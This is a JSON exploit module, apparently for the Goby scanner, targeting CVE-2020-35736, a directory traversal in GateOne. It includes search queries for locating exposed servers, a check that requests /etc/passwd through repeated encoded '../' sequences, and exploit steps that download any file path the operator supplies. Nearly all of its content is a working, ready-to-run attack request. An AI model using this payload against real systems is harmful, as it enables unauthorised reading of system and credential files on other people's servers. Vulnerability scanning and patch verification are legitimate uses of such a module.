{
  "Name": "Gateone Arbitrary File Read (CVE-2020-35736)",
  "Description": "The vulnerability allows unauthorized downloading of arbitrary files, which can traverse the directory and read arbitrary files on the target system",
  "Product": "GateOne",
  "Homepage": "https://github.com/liftoff/GateOne",
  "DisclosureDate": "2020-12-27",
  "Author": "B1anda0",
  "FofaQuery": "app=\"GateOne\"",
  "GobyQuery": "app=\"GateOne\"",
  "Level": "2",
  "Impact": "<p>The vulnerability allows unauthorized downloading of arbitrary files, which can traverse the directory and read arbitrary files on the target system<br></p>",
  "Recommendation": "",
  "References": [
    "http://cve.scap.org.cn/vuln/VHN-379349",
	"https://github.com/liftoff/GateOne/issues/747"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "file",
      "type": "input",
      "value": "/etc/passwd"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "root:x",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "uri": "/downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{{{file}}}"
      },
      "SetVariable": [
        "output|lastbody"
      ]
    }
  ],
  "Tags": [
    "file read"
  ],
  "CVEIDs": ["CVE-2020-35736"],
  "CVSSScore": null,
  "AttackSurfaces": {
    "Application": [
      "GateOne"
    ],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Disable": false,
  "Recommendation": "<p>update</p>"
}